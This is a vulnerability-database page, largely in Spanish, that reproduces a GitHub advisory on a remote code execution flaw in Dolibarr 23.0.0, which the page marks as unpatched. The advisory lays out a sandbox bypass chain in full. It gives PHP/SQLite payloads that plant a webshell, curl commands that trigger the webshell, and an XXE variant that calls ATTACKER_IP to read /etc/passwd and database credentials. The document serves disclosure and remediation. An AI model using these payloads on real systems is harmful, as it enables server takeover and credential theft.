llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · dolibarr/dolibarr

GHSA-5CFW-655W-VQP8

Remote Code Execution through incomplete sandbox in dol_eval_standard() (computed extrafields)

Texto original en inglés · Ver en español

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.1
Crítica
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición31 dDesde la divulgación, 20 oct 2026, 8:09 p. m.
Detección28 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
21 oct 26
18 nov 26
21 nov 26
21 oct 26
28 oct 26
5 nov 26
13 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-5CFW-655W-VQP8 divulgada · CVSS 9.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Remote Code Execution via dol_eval sandbox bypass in computed extrafields

Summary

A sandbox bypass in `dol_eval_standard()` allows an authenticated administrator to achieve Remote Code Execution (RCE) by creating a malicious computed extrafield. The sandbox's whitelist path fails to block arbitrary class instantiation, callable array invocations, and SQLite-based PHP file creation, resulting in a full eval-to-RCE chain.

Severity

Critical — CVSS 3.1: 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

Although the attack requires admin privileges to set up the computed field, the eval executes in the context of every user who views the affected record. A compromised or malicious admin achieves persistent RCE affecting the entire server, with potential for lateral movement via credential theft.

Affected Versions

  • Dolibarr 23.0.0 (confirmed)
  • Likely all versions using `dol_eval_standard()` with the default whitelist path (`$dolibarr_main_restrict_eval_methods` set)

Technical Details

The vulnerability chains three distinct sandbox bypass techniques in `core/lib/functions.lib.php`, function `dol_eval_standard()`:

Bypass 1: Unrestricted class instantiation (line 12283)

The whitelist path allows `new ClassName()` for any class, blocking only `ReflectionFunction`:

if (!preg_match('/new ([A-Z][\w]+)/i', $m, $reg)) {
    // check whitelist...
} else {
    if ($reg[1] == 'ReflectionFunction') {  // Only this class is blocked
        return 'Bad string syntax...';
    }
}

This allows instantiating dangerous built-in classes such as `PDO`, `SimpleXMLElement`, `SQLite3`, `SplFileObject`.

Bypass 2: Callable array syntax evades function whitelist (line 12271)

The whitelist regex `/([\s\w\'\]\"]+)\(/` detects function/method calls by matching text before `(`. However, PHP's callable array syntax `([$object, "method"])()` places a `)` before `(`, which is not in the regex character class `[\s\w\'\]\"]`. The call is invisible to the whitelist check.

Additionally, the `$forbiddenphpstrings` array containing `)(` (line 12195) is only enforced in the blacklist path (inside `if (empty($dolibarr_main_restrict_eval_methods))` at line 12204), not in the default whitelist path (line 12268+).

This allows calling arbitrary methods on instantiated objects: `([$pdo, "exec"])("SQL")`.

Bypass 3: SQLite char() avoids `<` character restriction (line 12120)

The sandbox blocks `<` followed by non-whitespace to prevent HTML/PHP tags. SQLite's `char()` function constructs the `<?php` string from integer character codes at the database level, so the literal `<` character never appears in the eval'd expression.

Full chain

The three bypasses combine into:

($var1 = new PDO("sqlite:/var/www/html/custom/shell.php")) && ([$var1, "exec"])("CREATE TABLE IF NOT EXISTS x AS SELECT char(60,63,112,104,112,32,115,121,115,116,101,109,40,39,105,100,39,41,59,63,62)")

This creates a SQLite database file with a `.php` extension in the webroot. The database binary contains the literal bytes `<?php system('id');?>` (produced by SQLite's `char()` function). When accessed via HTTP, PHP's parser scans the binary, finds the `<?php` opening tag, and executes the embedded code.

Steps to Reproduce

### Prerequisites
- Dolibarr 23.0.0 installed with default configuration
- Admin account access
- The `htdocs/custom/` directory must be writable by the web server (default)

Step 1 — Enable a module with extrafields support

Navigate to Home → Setup → Modules/Applications and enable the Third Parties module.

Step 2 — Create a computed extrafield with a harmless value

Navigate to Home → Setup → Third Parties → Supplementary attributes or directly:

/societe/admin/societe_extrafields.php

Click New attribute and fill in:
- Attribute code: `rcetest`
- Label: `RCE Test`
- Type: `Varchar`
- Size: `255`
- Computed value: `1 + 1`

Save the extrafield.

Step 3 — Update the computed value to the RCE payload

Click the edit (pencil) icon on the newly created `rcetest` attribute. Change the Computed value to:

($var1 = new PDO("sqlite:/var/www/html/custom/0.php")) && ([$var1, "exec"])("CREATE TABLE IF NOT EXISTS x AS SELECT X'3C3F7068702073797374656D2827696427293B3F3E'")

Save. The payload passes through the `nohtml` GETPOST filter and is stored in the database.

Note: The filename must have a digit immediately before the `.` (e.g., `0.php`, `1.php`) to bypass the dot-between-non-numbers check. The hex blob `X'3C3F..3E'` encodes `<?php system('id');?>` and avoids parentheses inside the SQL string (which would be caught by the whitelist regex).

Step 4 — Trigger the eval

Open any Third Party record (or create one). The computed extrafield is evaluated via `dol_eval()` → `eval()`, creating the SQLite/PHP file at `/var/www/html/custom/0.php`.

Step 5 — Execute the webshell
curl http://TARGET/custom/0.php

Expected output (inside SQLite binary data):

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The `system('id')` command executes as the web server user, confirming RCE.

<img width="939" height="232" alt="rce" src="https://github.com/user-attachments/assets/827db15b-9d3a-455b-be1d-7982b3c78f93" />

Alternative payload — Arbitrary command execution

Replace the hex blob with any command. For example, `<?php system($_GET['c']);?>`:

X'3C3F7068702073797374656D28245F4745545B2763275D293B3F3E'

Then: `curl http://TARGET/custom/0.php?c=whoami`

Variant — SSRF + Arbitrary File Read (no file write needed)

Even without writing a webshell, the class instantiation bypass alone enables:

new SimpleXMLElement("http://169.254.169.254/latest/meta-data/", 0, true)

This causes the server to make an outbound HTTP request (SSRF). Combined with an attacker-controlled XML server serving XXE payloads:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>

...and the computed field expression:

new SimpleXMLElement("http://ATTACKER_IP:PORT/xxe", 2, true)

This reads arbitrary files from the server, including `conf/conf.php` (database credentials).

Impact

  • Remote Code Execution as the web server user (www-data/apache)
  • Server-Side Request Forgery to internal networks and cloud metadata services
  • Arbitrary File Read via XXE (including database credentials in conf.php)
  • Persistence — the computed field executes on every page view by any user
  • Privilege escalation — a compromised admin account leads to full server compromise

Suggested Remediation

  1. Block all dangerous built-in classes in the whitelist path, not just `ReflectionFunction`. Maintain an explicit allowlist of safe classes (e.g., `Task`, `Project`, `Facture` and other Dolibarr business objects).
  1. Check `)(` in the whitelist path. The `$forbiddenphpstrings` array (containing `)(`) is currently only enforced in the blacklist path. Apply it universally:
// Move this check BEFORE the if/else split (before line 12204):
foreach ($forbiddenphpstrings as $forbidden) {
    if (stripos($s, $forbidden) !== false) {
        return 'Bad string syntax to evaluate (forbidden string found): ' . $s;
    }
}
  1. Block `char(` and other SQL/encoding functions that can construct dangerous strings at runtime.
  1. Consider switching to AST-based analysis (e.g., `token_get_all()` approach from `dol_eval_new`) for the default path, rather than regex-based filtering.

Timeline

  • 2026-03-26 — Vulnerability discovered and PoC confirmed
  • 2026-03-28 — Report submitted to Dolibarr security team

Credit

Please credit CVE to: Grzegorz Tworek (F3715H) sec4check ([grzegorz.tworek@sec4check.pl](mailto:grzegorz.tworek@sec4check.pl))

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
dolibarr/dolibarr≤ 23.0.0
23.0.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistdolibarr/dolibarr
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Dolibarr/dolibarr/security/advisories/GHSA-5cfw-655w-vqp8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.